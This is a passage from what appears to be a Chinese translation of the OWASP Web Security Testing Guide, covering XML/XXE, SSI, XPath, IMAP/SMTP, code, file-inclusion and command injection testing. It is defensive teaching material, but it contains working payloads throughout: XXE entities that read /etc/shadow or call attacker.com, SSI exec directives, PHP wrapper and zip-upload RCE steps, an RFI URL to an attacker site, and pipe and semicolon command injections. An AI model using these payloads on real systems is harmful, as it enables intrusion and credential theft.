这样,<foo>不会被解析为标记,而是被视为字符数据。

如果以以下方式创建节点:
<username><![CDATA[<$userName]]></username>
测试人员可以尝试注入CDATA结束字符串]]>,以使XML文档无效。

userName = ]]>
这将变为:
<username><![CDATA[]]>]]></username>
这不是一个有效的XML片段。

另一个测试与CDATA标签相关。假设XML文档被处理以生成HTML页面。在这种情况下,CDATA节分隔符可能会被简单地删除,而不会进一步检查其内容。然后,可以注入HTML标签,这些标签将包含在生成的页面中,完全绕过现有的清理程序。

让我们考虑一个具体的例子。假设我们有一个包含一些文本的节点,这些文本将显示给用户。

<html>
    $HTMLCode
</html>

然后,攻击者可以提供以下输入:
$HTMLCode = <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>
并获得以下节点:

<html>
    <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>
</html>

在处理过程中,CDATA节分隔符被删除,生成以下HTML代码:

<script>
    alert('XSS')
</script>

结果是该应用程序容易受到跨站脚本攻击(XSS)。

  • 外部实体:可以通过定义新实体来扩展有效实体集。如果实体的定义是一个URI,则该实体称为外部实体。除非进行了其他配置,否则外部实体会强制XML解析器访问URI指定的资源,例如本地机器或远程系统上的文件。这种行为使应用程序容易受到XML外部实体(XXE)攻击,这些攻击可用于对本地系统进行拒绝服务攻击、未经授权访问本地机器上的文件、扫描远程机器以及对远程系统进行拒绝服务攻击。

为了测试XXE漏洞,可以使用以下输入:

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [ <!ELEMENT foo ANY >
        <!ENTITY xxe SYSTEM "file:///dev/random" >]>
        <foo>&xxe;</foo>

如果XML解析器尝试用/dev/random文件的内容替换该实体,此测试可能会使Web服务器(在UNIX系统上)崩溃。

其他有用的测试如下:

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [ <!ELEMENT foo ANY >
        <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [ <!ELEMENT foo ANY >
        <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [ <!ELEMENT foo ANY >
        <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [ <!ELEMENT foo ANY >
        <!ENTITY xxe SYSTEM "https://www.attacker.com/text.txt" >]><foo>&xxe;</foo>

标签注入

当完成第一步后,测试人员将对XML文档的结构有一定了解。此时,就可以尝试注入XML数据和标签。下面将展示一个如何通过这种方式实现权限提升攻击的示例。

我们以之前的应用程序为例。当插入以下值时:

用户名:tony
密码:Un6R34kb!e
电子邮件:s4tan@hell.com</mail><userid>0</userid><mail>s4tan@hell.com

应用程序会构建一个新节点,并将其追加到XML数据库中:

<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
    <user>
        <username>gandalf</username>
        <password>!c3</password>
        <userid>0</userid>
        <mail>gandalf@middleearth.com</mail>
    </user>
    <user>
        <username>Stefan0</username>
        <password>w1s3c</password>
        <userid>500</userid>
        <mail>Stefan0@whysec.hmm</mail>
    </user>
    <user>
        <username>tony</username>
        <password>Un6R34kb!e</password>
        <userid>500</userid>
        <mail>s4tan@hell.com</mail>
        <userid>0</userid>
        <mail>s4tan@hell.com</mail>
    </user>
</users>

生成的XML文件格式正确。此外,对于用户“tony”,与userid标签关联的值很可能是最后出现的那个,即0(管理员ID)。换句话说,我们已经注入了一个具有管理员权限的用户。

唯一的问题是,在最后一个user节点中,userid标签出现了两次。通常,XML文档会关联一个模式(schema)或DTD(文档类型定义),如果不符合这些规则,文档将被拒绝。

假设XML文档由以下DTD指定:

<!DOCTYPE users [
    <!ELEMENT users (user+) >
    <!ELEMENT user (username,password,userid,mail+) >
    <!ELEMENT username (#PCDATA) >
    <!ELEMENT password (#PCDATA) >
    <!ELEMENT userid (#PCDATA) >
    <!ELEMENT mail (#PCDATA) >
]>

请注意,userid节点的基数被定义为1。在这种情况下,如果在处理XML文档之前根据其DTD进行验证,那么我们之前展示的攻击(以及其他简单攻击)将无法奏效。

但是,如果测试人员能够控制违规节点(在这个例子中是userid)之前的某些节点的值,这个问题就可以解决。实际上,测试人员可以通过注入注释开始/结束序列来注释掉该节点:

用户名:tony
密码:Un6R34kb!e</password><!--
电子邮件:--><userid>0</userid><mail>s4tan@hell.com

在这种情况下,最终的XML数据库如下:

<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
    <user>
        <username>gandalf</username>
        <password>!c3</password>
        <userid>0</userid>
        <mail>gandalf@middleearth.com</mail>
    </user>
    <user>
        <username>Stefan0</username>
        <password>w1s3c</password>
        <userid>500</userid>
        <mail>Stefan0@whysec.hmm</mail>
    </user>
    <user>
        <username>tony</username>
        <password>Un6R34kb!e</password><!--</password>
        <userid>500</userid>
        <mail>--><userid>0</userid><mail>s4tan@hell.com</mail>
    </user>
</users>

原始的userid节点已被注释掉,仅保留了注入的节点。现在,该文档符合其DTD规则。

源代码审查

以下Java API如果配置不当,可能会受到XXE(XML外部实体)攻击:

javax.xml.parsers.DocumentBuilder
javax.xml.parsers.DocumentBuildFactory
org.xml.sax.EntityResolver
org.dom4j.*
javax.xml.parsers.SAXParser
javax.xml.parsers.SAXParserFactory
TransformerFactory
SAXReader
DocumentHelper
SAXBuilder
SAXParserFactory
XMLReaderFactory
XMLInputFactory
SchemaFactory
DocumentBuilderFactoryImpl
SAXTransformerFactory
DocumentBuilderFactoryImpl
XMLReader
Xerces: DOMParser, DOMParserImpl, SAXParser, XMLParser

检查源代码,确保将文档类型(docType)、外部DTD和外部参数实体设置为禁止使用。

此外,如果Java POI办公文档读取器的版本低于3.10.1,也可能会受到XXE攻击。

可以从JAR文件的文件名中识别POI库的版本。例如:

  • poi-3.8.jar
  • poi-ooxml-3.8.jar

以下源代码关键字可能适用于C语言:

  • libxml2:xmlCtxtReadMemory、xmlCtxtUseOptions、xmlParseInNodeContext、xmlReadDoc、xmlReadFd、xmlReadFile、xmlReadIO、xmlReadMemory、xmlCtxtReadDoc、xmlCtxtReadFd、xmlCtxtReadFile、xmlCtxtReadIO
  • libxerces-c:XercesDOMParser、SAXParser、SAX2XMLReader

工具

参考资料

测试服务器端包含(SSI)注入

编号
WSTG-INPV-08

概述

Web 服务器通常允许开发者在静态 HTML 页面中添加少量动态代码,而无需使用成熟的服务器端或客户端语言。这一功能由服务器端包含(SSI)提供。

服务器端包含是 Web 服务器在将页面提供给用户之前解析的指令。当只需要执行非常简单的任务时,它们是编写 CGI 程序或使用服务器端脚本语言嵌入代码的替代方案。常见的 SSI 实现提供了用于包含外部文件、设置和打印 Web 服务器 CGI 环境变量,或执行外部 CGI 脚本或系统命令的指令(命令)。

SSI 可能导致远程命令执行(RCE),不过大多数 Web 服务器默认会禁用 exec 指令。

这是一种与经典脚本语言注入漏洞非常相似的漏洞。一种缓解措施是需要对 Web 服务器进行配置以允许使用 SSI。另一方面,SSI 注入漏洞通常更容易利用,因为 SSI 指令易于理解,同时功能强大,例如,它们可以输出文件内容并执行系统命令。

测试目标

  • 识别 SSI 注入点。
  • 评估注入的严重程度。

测试方法

要测试可利用的 SSI,可将 SSI 指令作为用户输入进行注入。如果启用了 SSI 且未正确实现用户输入验证,服务器将执行该指令。这与经典的脚本语言注入漏洞非常相似,因为它也是在用户输入未得到正确验证和清理时发生的。

首先,确定 Web 服务器是否支持 SSI 指令。通常情况下,答案是肯定的,因为 SSI 支持相当普遍。要确定是否支持 SSI 指令,可以使用信息收集技术(请参阅指纹识别 Web 服务器)来发现目标所运行的 Web 服务器类型。如果可以访问代码,则可以通过在 Web 服务器配置文件中搜索特定关键字来确定是否使用了 SSI 指令。

另一种验证 SSI 指令是否启用的方法是检查扩展名为 .shtml 的页面,该扩展名与 SSI 指令相关联。不过,使用 .shtml 扩展名并非强制要求,因此未找到任何 .shtml 文件并不一定意味着目标不会受到 SSI 注入攻击的影响。

下一步是确定所有可能的用户输入向量,并测试 SSI 注入是否可利用。

首先,找出所有允许用户输入的页面。可能的输入向量还可能包括 HTTP 头和 Cookie。确定输入是如何存储和使用的,即输入是否作为错误消息或页面元素返回,以及是否以某种方式进行了修改。访问源代码有助于更轻松地确定输入向量的位置以及输入的处理方式。

一旦列出了潜在的注入点,就可以确定输入是否得到了正确验证。确保可以注入 SSI 指令中使用的字符,例如 <!#=/."->[a-zA-Z0-9]

以下示例返回变量的值。参考资料部分提供了有用的链接,包含特定服务器的文档,有助于更好地评估特定系统。

<!--#echo var="VAR" -->

使用 include 指令时,如果提供的文件是 CGI 脚本,该指令将包含 CGI 脚本的输出。此指令还可用于包含文件内容或列出目录中的文件:

<!--#include virtual="FILENAME" -->

要返回系统命令的输出:

<!--#exec cmd="OS_COMMAND" -->

如果应用程序存在漏洞,注入的指令将在页面下次提供给用户时被服务器解释。

如果 Web 应用程序使用 HTTP 头中的数据来构建动态生成的页面,也可以在 HTTP 头中注入 SSI 指令:

GET / HTTP/1.1
Host: www.example.com
Referer: <!--#exec cmd="/bin/ps ax"-->
User-Agent: <!--#include virtual="/proc/version"-->

工具

参考资料

XPath注入测试

编号
WSTG - INPV - 09

概述

XPath 是一种主要用于定位 XML 文档各部分的语言。在 XPath 注入测试中,我们要测试是否可以将 XPath 语法注入到应用程序所解释的请求中,从而使攻击者能够执行用户可控的 XPath 查询。如果该漏洞被成功利用,攻击者可能绕过身份验证机制或在未获适当授权的情况下访问信息。

Web 应用程序大量使用数据库来存储和访问其运行所需的数据。从历史上看,关系型数据库一直是最常用的数据存储技术,但近年来,使用 XML 语言组织数据的数据库越来越受欢迎。就像通过 SQL 语言访问关系型数据库一样,XML 数据库使用 XPath 作为其标准查询语言。

从概念上讲,XPath 在用途和应用方面与 SQL 非常相似,有趣的是,XPath 注入攻击遵循与 SQL 注入 攻击相同的逻辑。在某些方面,XPath 甚至比标准 SQL 更强大,因为其全部功能已在规范中定义,而 SQL 注入攻击中可使用的许多技术依赖于目标数据库所使用的 SQL 方言的特性。这意味着 XPath 注入攻击的适应性更强、更普遍。XPath 注入攻击的另一个优点是,与 SQL 不同,它不强制执行访问控制列表(ACL),因为我们的查询可以访问 XML 文档的每个部分。

测试目标

  • 识别 XPath 注入点。

测试方法

XPath 攻击模式由 Amit Klein 首次发表,它与常见的 SQL 注入非常相似。为了初步了解这个问题,让我们想象一个登录页面,用于管理应用程序的用户认证,用户需要输入用户名和密码。假设我们的数据库由以下 XML 文件表示:

<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
    <user>
        <username>gandalf</username>
        <password>!c3</password>
        <account>admin</account>
    </user>
    <user>
        <username>Stefan0</username>
        <password>w1s3c</password>
        <account>guest</account>
    </user>
    <user>
        <username>tony</username>
        <password>Un6R34kb!e</password>
        <account>guest</account>
    </user>
</users>

一个返回用户名为 gandalf 且密码为 !c3 的账户信息的 XPath 查询如下:

string(//user[username/text()='gandalf' and password/text()='!c3']/account/text())

如果应用程序没有对用户输入进行适当过滤,测试人员就能够注入 XPath 代码并干扰查询结果。例如,测试人员可以输入以下值:

用户名:' or '1' = '1
密码:' or '1' = '1

看起来很熟悉,对吧?使用这些参数后,查询变为:

string(//user[username/text()='' or '1' = '1' and password/text()='' or '1' = '1']/account/text())

与常见的 SQL 注入攻击一样,我们创建了一个始终为真的查询,这意味着即使没有提供用户名或密码,应用程序也会对用户进行认证。和常见的 SQL 注入攻击一样,XPath 注入的第一步是在要测试的字段中插入单引号('),在查询中引入语法错误,并检查应用程序是否返回错误消息。

如果不了解 XML 数据的内部细节,并且应用程序没有提供有助于我们重建其内部逻辑的有用错误消息,那么可以执行 盲 XPath 注入 攻击,其目标是重建整个数据结构。该技术类似于基于推理的 SQL 注入,方法是注入代码以创建一个返回一位信息的查询。Amit Klein 在参考论文中更详细地解释了 盲 XPath 注入

参考资料

白皮书

针对 IMAP/SMTP 注入的测试

编号
WSTG - INPV - 10

概述

此威胁会影响所有与邮件服务器(IMAP/SMTP)通信的应用程序,通常是网络邮件应用程序。本测试的目的是验证是否能够向邮件服务器注入任意的 IMAP/SMTP 命令,这通常是由于输入数据未得到正确清理导致的。

如果邮件服务器无法直接从互联网访问,那么 IMAP/SMTP 注入技术会更加有效。若可以与后端邮件服务器进行完全通信,建议进行直接测试。

IMAP/SMTP 注入能够让攻击者访问原本无法从互联网直接访问的邮件服务器。在某些情况下,这些内部系统的基础设施安全和防护水平可能不如前端 Web 服务器。因此,邮件服务器可能更容易受到最终用户的攻击(见图 1 所示的示意图)。

在这里插入图片描述

图 4.7.10 - 1:使用 IMAP/SMTP 注入技术与邮件服务器通信

图 1 描绘了使用网络邮件技术时通常看到的流量流程。步骤 1 和 2 是用户与网络邮件客户端进行交互,而步骤 2 是测试人员绕过网络邮件客户端,直接与后端邮件服务器进行交互。

这种技术允许进行各种各样的操作和攻击。具体的可能性取决于注入的类型和范围,以及正在测试的邮件服务器技术。

使用 IMAP/SMTP 注入技术进行攻击的一些示例包括:

  • 利用 IMAP/SMTP 协议中的漏洞
  • 绕过应用程序限制
  • 绕过反自动化流程
  • 信息泄露
  • 中继/垃圾邮件发送

测试目标

  • 识别 IMAP/SMTP 注入点。
  • 了解系统的数据流和部署结构。
  • 评估注入的影响。

测试方法

识别易受攻击的参数

为了检测易受攻击的参数,测试人员需要分析应用程序处理输入的能力。输入验证测试要求测试人员向服务器发送伪造或恶意的请求,并分析响应。在安全的应用程序中,响应应该是一个错误,并带有相应的操作,告知客户端出现了问题。而在易受攻击的应用程序中,恶意请求可能会被后端应用程序处理,并返回一个 HTTP 200 OK 响应消息。

需要注意的是,发送的请求应该与正在测试的技术相匹配。如果使用的是 MySQL 服务器,却发送针对 Microsoft SQL Server 的 SQL 注入字符串,会导致误报响应。在这种情况下,发送恶意的 IMAP 命令是惯用方法,因为正在测试的底层协议是 IMAP。

应该使用的 IMAP 特殊参数如下:

在 IMAP 服务器上在 SMTP 服务器上
身份验证发件人电子邮件
邮箱操作(列表、读取、创建、删除、重命名)收件人电子邮件
邮件操作(读取、复制、移动、删除)主题
断开连接邮件正文
附件

在这个例子中,通过操纵所有包含 “mailbox” 参数的请求来测试该参数:

https://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=46106&startMessage=1

可以使用以下示例:

  • 为参数赋空值:
    https://<webmail>/src/read_body.php?mailbox=&passed_id=46106&startMessage=1
  • 用随机值替换该参数的值:
    https://<webmail>/src/read_body.php?mailbox=NOTEXIST&passed_id=46106&startMessage=1
  • 为参数添加其他值:
    https://<webmail>/src/read_body.php?mailbox=INBOX PARAMETER2&passed_id=46106&startMessage=1
  • 添加非标准特殊字符(例如:\'"@#!|):
    https://<webmail>/src/read_body.php?mailbox=INBOX"&passed_id=46106&startMessage=1
  • 移除该参数:
    https://<webmail>/src/read_body.php?passed_id=46106&startMessage=1

上述测试的最终结果会给测试人员带来三种可能的情况:
S1 - 应用程序返回错误代码/消息。
S2 - 应用程序不返回错误代码/消息,但未实现所请求的操作。
S3 - 应用程序不返回错误代码/消息,并且正常实现所请求的操作。

情况 S1 和 S2 表示 IMAP/SMTP 注入成功。

攻击者的目标是收到 S1 响应,因为这表明应用程序容易受到注入和进一步的操纵。

假设用户使用以下 HTTP 请求检索电子邮件头:

https://<webmail>/src/view_header.php?mailbox=INBOX&passed_id=46105&passed_ent_id=0

攻击者可能会通过注入字符 "(使用 URL 编码为 %22)来修改参数 INBOX 的值:

https://<webmail>/src/view_header.php?mailbox=INBOX%22&passed_id=46105&passed_ent_id=0

在这种情况下,应用程序的响应可能是:

ERROR: Bad or malformed request.
Query: SELECT "INBOX""
Server responded: Unexpected extra arguments to Select

情况 S2 更难成功测试。测试人员需要使用盲命令注入来确定服务器是否易受攻击。

另一方面,最后一种情况(S3)在本节中无关紧要。

易受攻击的参数列表

  • 受影响的功能
  • 可能的注入类型(IMAP/SMTP)
了解客户端的数据流和部署结构

在识别出所有易受攻击的参数(例如 passed_id)后,测试人员需要确定可能的注入级别,然后设计一个测试计划来进一步利用该应用程序的漏洞。

在这个测试用例中,我们发现应用程序的 passed_id 参数易受攻击,并且该参数在以下请求中使用:

https://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=46225&startMessage=1

使用以下测试用例(在需要数值时提供字母值):

https://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=test&startMessage=1

将生成以下错误消息:

ERROR : Bad or malformed request.
Query: FETCH test:test BODY[HEADER]
Server responded: Error in IMAP command received by server.

在这个例子中,错误消息返回了执行的命令名称和相应的参数。

在其他情况下,错误消息(应用程序无法控制)包含执行的命令名称,但阅读相应的 RFC 可以让测试人员了解还可以执行哪些其他可能的命令。

如果应用程序不返回详细的错误消息,测试人员需要分析受影响的功能,以推断与上述功能相关的所有可能的命令(和参数)。例如,如果在创建邮箱功能中检测到一个易受攻击的参数,那么可以合理地假设受影响的 IMAP 命令是 CREATE。根据 RFC,CREATE 命令接受一个参数,该参数指定要创建的邮箱的名称。

受影响的 IMAP/SMTP 命令列表

  • 受影响的 IMAP/SMTP 命令所期望的参数类型、值和数量

IMAP/SMTP 命令注入

一旦测试人员识别出易受攻击的参数并分析了它们的执行上下文,下一阶段就是利用这些功能。

这个阶段有两种可能的结果:

  1. 可以在未认证状态下进行注入:受影响的功能不要求用户进行认证。可用的注入(IMAP)命令仅限于:CAPABILITYNOOPAUTHENTICATELOGINLOGOUT
  2. 只能在认证状态下进行注入:要成功利用漏洞,用户必须在继续测试之前进行完全认证。

无论如何,IMAP/SMTP 注入的典型结构如下:

  • 头部:预期命令的结束;
  • 主体:注入新命令;
  • 尾部:预期命令的开始。

重要的是要记住,为了执行一个 IMAP/SMTP 命令,前一个命令必须以 CRLF(%0d%0a)序列结束。

假设在[识别易受攻击的参数](#identifying - vulnerable - parameters)阶段,攻击者检测到以下请求中的参数 message_id 易受攻击:

https://<webmail>/read_email.php?message_id=4791

还假设在第二阶段(“了解客户端的数据流和部署结构”)进行的分析结果已经确定了与该参数相关的命令和参数为:

FETCH 4791 BODY[HEADER]

在这种情况下,IMAP 注入结构将是:

https://<webmail>/read_email.php?message_id=4791 BODY[HEADER]%0d%0aV100 CAPABILITY%0d%0aV101 FETCH 4791

这将生成以下命令:

???? FETCH 4791 BODY[HEADER]
V100 CAPABILITY
V101 FETCH 4791 BODY[HEADER]

其中:

Header = 4791 BODY[HEADER]
Body   = %0d%0aV100 CAPABILITY%0d%0a
Footer = V101 FETCH 4791

受影响的 IMAP/SMTP 命令列表

  • 任意 IMAP/SMTP 命令注入

参考资料

白皮书

代码注入测试

编号
WSTG - INPV - 11

概述

本节介绍测试人员如何检查是否可以在网页上输入代码并让 Web 服务器执行该代码。

代码注入测试中,测试人员提交的输入会被 Web 服务器作为动态代码或包含文件进行处理。这些测试可以针对各种服务器端脚本引擎,例如 ASP 或 PHP。为了防范此类攻击,需要采用适当的输入验证和安全编码实践。

测试目标

  • 识别可以将代码注入应用程序的注入点。
  • 评估注入的严重程度。

测试方法

黑盒测试

测试 PHP 注入漏洞

测试人员可以使用查询字符串注入代码(在本示例中为恶意 URL),使其作为包含文件的一部分进行处理:

https://www.example.com/uptime.php?pin=https://www.example2.com/packx1/cs.jpg?&cmd=uname%20-a

恶意 URL 被作为 PHP 页面的参数接受,该页面随后会在包含文件中使用该值。

灰盒测试

测试 ASP 代码注入漏洞

检查在执行函数中使用用户输入的 ASP 代码。用户能否在“数据”输入字段中输入命令?这里,ASP 代码会将输入保存到一个文件中,然后执行该文件:

<%
If not isEmpty(Request( "Data" ) ) Then
Dim fso, f
'用户输入的数据被写入名为 data.txt 的文件
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile(Server.MapPath( "data.txt" ), 8, True)
f.Write Request("Data") & vbCrLf
f.close
Set f = nothing
Set fso = Nothing

'执行 data.txt
Server.Execute( "data.txt" )

Else
%>

<form>
<input name="Data" /><input type="submit" name="Enter Data" />

</form>
<%
End If
%>)))

参考资料

文件包含测试

概述

文件包含漏洞允许攻击者包含一个文件,通常是利用目标应用程序中实现的“动态文件包含”机制。该漏洞的产生是由于在使用用户提供的输入时未进行适当的验证。

这可能导致一些简单的情况,如输出文件内容,但也可能导致以下后果:

  • 网络服务器上的代码执行
  • 客户端的代码执行,例如 JavaScript 代码执行,这可能导致诸如跨站脚本攻击(XSS)等其他攻击
  • 拒绝服务(DoS)
  • 敏感信息泄露

本地文件包含(LFI)是指通过利用应用程序中实现的易受攻击的包含程序,包含服务器上已存在的文件的过程。例如,当页面接收到一个指向本地文件的路径作为输入,且该输入未经过适当的清理时,就会出现此漏洞,这使得攻击者可以注入目录遍历字符(如 ../ ,参见 4.5.1 [测试目录遍历文件包含](…/05 - 授权测试/01 - 测试目录遍历文件包含.md))。

远程文件包含(RFI)是指通过利用应用程序中实现的易受攻击的包含程序,包含来自远程源的文件的过程。例如,当页面接收到一个指向远程文件的 URL 作为输入,且该输入未经过适当的清理时,就会出现此漏洞,这使得攻击者可以注入外部 URL。

在这两种情况下,尽管大多数示例都指向易受攻击的 PHP 脚本,但我们应该记住,这种漏洞在其他技术(如 JSP、ASP 等)中也很常见。

测试目标

  • 识别文件包含点。
  • 评估漏洞的严重程度或潜在影响。

测试方法

本地文件包含测试

由于本地文件包含(LFI)漏洞通常是在传递给 include 语句的路径未经过适当清理时出现的,在黑盒测试方法中,我们应该寻找接受文件名/路径作为参数的功能。

考虑以下示例:

https://vulnerable_host/preview.php?file=example.html

这看起来是一个尝试本地文件包含的理想位置。如果应用程序没有根据 file 参数选择合适的页面,而是直接包含输入的内容,那么就有可能包含服务器上的任意文件。

一个典型的概念验证利用示例是尝试加载 passwd 文件,请求如下:

https://vulnerable_host/preview.php?file=../../../../etc/passwd

如果满足上述条件,攻击者在响应中可能会看到类似以下内容:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
alex:x:500:500:alex:/home/alex:/bin/bash
margo:x:501:501::/home/margo:/bin/bash
...

即使存在这样的漏洞,在现实场景中利用它可能会更复杂。考虑以下代码片段:

<?php include($_GET['file'].".php"); ?>

简单地用随机文件名替换是行不通的,因为提供的输入会被追加后缀 .php。为了绕过这个限制,测试人员可以使用多种技术来实现预期的利用。

空字节注入

空字符(也称为 空终止符空字节)是许多字符集中值为零的控制字符,用作保留字符来标记字符串的结束。一旦使用了这个特殊字节,其后的任何字符都将被忽略。通常,注入这个字符的方法是在请求路径后追加 URL 编码字符串 %00。在前面的示例中,请求 https://vulnerable_host/preview.php?file=../../../../etc/passwd%00 将忽略添加到输入文件名后的 .php 扩展名,攻击者成功利用该漏洞后将获得一个基本用户列表。

路径和点截断

大多数 PHP 安装对文件名长度限制为 4096 字节。如果给定的文件名长度超过该限制,PHP 会简单地截断它,丢弃任何额外的字符。利用这种行为,可以使 PHP 引擎忽略 .php 扩展名,将其移出 4096 字节的限制范围。当发生这种情况时,不会触发错误;额外的字符会被直接丢弃,PHP 会继续正常执行。

这种绕过方法通常会与其他逻辑绕过策略结合使用,例如使用 Unicode 编码对部分文件路径进行编码、引入双重编码,或使用任何其他仍然代表有效所需文件名的输入。

PHP 包装器

本地文件包含漏洞通常被视为只读漏洞,攻击者可以利用它读取托管易受攻击应用程序的服务器上的敏感数据。然而,在某些特定实现中,此漏洞可用于将攻击升级为从本地文件包含到远程代码执行漏洞,这可能会完全危及主机安全。

当攻击者能够将本地文件包含漏洞与某些 PHP 包装器结合使用时,这种攻击升级很常见。

包装器是围绕其他代码的代码,用于执行一些额外的功能。PHP 实现了许多内置包装器,可与文件系统函数一起使用。在应用程序的测试过程中检测到这些包装器的使用时,尝试滥用它们以识别检测到的弱点的实际风险是一种良好的做法。以下是最常用的包装器列表,但请注意这并不详尽,同时目标应用程序也可能使用自定义包装器,这需要进行更深入的特定分析。

  • PHP 过滤器:用于访问本地文件系统;这是一个不区分大小写的包装器,它提供了在打开文件时对数据流应用过滤器的功能。此包装器可用于获取文件内容,同时防止服务器执行该文件。例如,允许攻击者读取 PHP 文件的内容以获取源代码,从而识别敏感信息(如凭据或其他可利用的漏洞)。该包装器的使用方式为 php://filter/convert.base64 - encode/resource=FILE,其中 FILE 是要检索的文件。使用此执行方式的结果是,目标文件的内容将被读取、编码为 Base64(这一步可防止服务器端执行),并返回给用户代理。
  • PHP ZIP:在 PHP 7.2.0 中引入了 zip:// 包装器,用于处理 zip 压缩文件。此包装器期望以下参数结构:zip:///filename_path#internal_filenamefilename_path 是恶意 ZIP 存档的路径,internal_filename 是处理的 ZIP 文件中恶意文件的路径。在利用过程中,# 通常会被编码为其 URL 编码值 %23。滥用此包装器可能允许攻击者设计一个恶意 ZIP 文件,该文件可以上传到服务器,例如作为头像图片或使用目标网站上的任何文件上传系统(php:zip:// 包装器不要求 ZIP 文件具有任何特定扩展名),然后通过本地文件包含漏洞执行该文件。为了测试此漏洞,可以按照以下步骤攻击前面提供的代码示例:
    1. 创建要执行的 PHP 文件,例如内容为 <?php phpinfo(); ?>,并将其保存为 code.php
    2. 将其压缩为一个名为 target.zip 的新 ZIP 文件。
    3. target.zip 文件重命名为 target.jpg 以绕过扩展名验证,并将其作为头像图片上传到目标网站。
    4. 假设 target.jpg 文件存储在服务器本地的 ../avatar/target.jpg 路径下,通过向易受攻击的 URL 注入以下有效负载,利用 PHP ZIP 包装器来利用该漏洞:zip://../avatar/target.jpg%23code(请记住 %23 对应于 #)。
      由于在我们的示例中,.php 扩展名会被连接到我们的有效负载上,因此请求 https://vulnerable_host/preview.php?file=zip://../avatar/target.jpg%23code 将导致执行恶意 ZIP 文件中存在的 code.php 文件。

PHP 数据包装器

自 PHP 5.2.0 版本起可用,此包装器的使用方式如下:data://text/plain;base64,BASE64_STR,其中 BASE64_STR 应为待处理文件的 Base64 编码内容。需要注意的是,只有在启用 allow_url_include 选项时,该包装器才可用。

若要使用此包装器测试本地文件包含(LFI)漏洞,需将待执行的代码进行 Base64 编码。例如,<?php phpinfo(); ?> 编码后的结果为:PD9waHAgcGhwaW5mbygpOyA/Pg==,那么对应的有效负载可表示为:data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

PHP Expect 包装器

该包装器默认未启用,它提供了对进程的标准输入(stdio)、标准输出(stdout)和标准错误输出(stderr)的访问。其使用格式为 expect://command,服务器会使用 BASH 执行所提供的命令,并返回执行结果。

远程文件包含测试

由于远程文件包含(RFI)漏洞通常是在传递给 include 语句的 URL 未经过适当清理时出现的,因此在黑盒测试中,应寻找那些将文件名作为参数的脚本。以下是一个 PHP 示例:

$incfile = $_REQUEST["file"];
include($incfile.".php");

在这个示例中,路径是从 HTTP 请求中提取的,并且没有进行输入验证(例如,未将输入与允许列表进行比对),因此这段代码容易受到此类攻击。考虑以下 URL:
https://vulnerable_host/vuln_page.php?file=https://attacker_site/malicous_page
在这种情况下,远程文件将被包含进来,并且其中包含的任何代码都将由服务器执行。

修复建议

消除文件包含漏洞最有效的方法是避免将用户提交的输入传递给任何文件系统或框架的 API。如果无法做到这一点,应用程序可以维护一个允许被页面包含的文件列表,然后使用一个标识符(例如索引编号)来访问所选文件。任何包含无效标识符的请求都应被拒绝,这样恶意用户就没有机会操纵路径。

你可以参考 文件上传备忘单 来获取有关此主题的良好安全实践。

工具

参考资料

命令注入测试

编号
WSTG - INPV - 12

概述

本文介绍了如何对应用程序进行操作系统命令注入测试。测试人员将尝试通过向应用程序发送 HTTP 请求来注入操作系统命令。

操作系统命令注入是一种通过 Web 界面在 Web 服务器上执行操作系统命令的技术。用户通过 Web 界面提供操作系统命令以执行这些命令。任何未经过适当清理的 Web 界面都可能受到此漏洞的攻击。具备执行操作系统命令的能力后,用户可以上传恶意程序,甚至获取密码。如果在应用程序的设计和开发过程中注重安全性,操作系统命令注入是可以预防的。

测试目标

  • 识别并评估命令注入点。

测试方法

在 Web 应用程序中查看文件时,文件名通常会显示在 URL 中。Perl 允许将进程中的数据通过管道传输到打开语句中。用户只需在文件名末尾添加管道符号 | 即可。

修改前的示例 URL:

https://sensitive/cgi-bin/userData.pl?doc=user1.txt

修改后的示例 URL:

https://sensitive/cgi-bin/userData.pl?doc=/bin/ls|

这将执行 /bin/ls 命令。

在 PHP 页面的 URL 末尾添加分号,然后跟上操作系统命令,即可执行该命令。%3B 是 URL 编码后的分号。

示例:

https://sensitive/something.php?dir=%3Bcat%20/etc/passwd

示例

假设有一个应用程序,其中包含一组可以通过 Internet 浏览的文档。如果你启动一个个人代理(如 ZAP 或 Burp Suite),可以获取如下的 POST 请求(https://www.example.com/public/doc):

POST /public/doc HTTP/1.1
Host: www.example.com
[...]
Referer: https://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33

Doc=Doc1.pdf

在这个 POST 请求中,我们可以看到应用程序是如何获取公共文档的。现在,我们可以测试是否可以在 POST 请求中注入操作系统命令。尝试以下请求(https://www.example.com/public/doc):

POST /public/doc HTTP/1.1
Host: www.example.com
[...]
Referer: https://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33

Doc=Doc1.pdf+|+Dir c:\

如果应用程序没有对请求进行验证,我们将得到以下结果:

    Exec Results for 'cmd.exe /c type "C:\httpd\public\doc\"Doc=Doc1.pdf+|+Dir c:\'
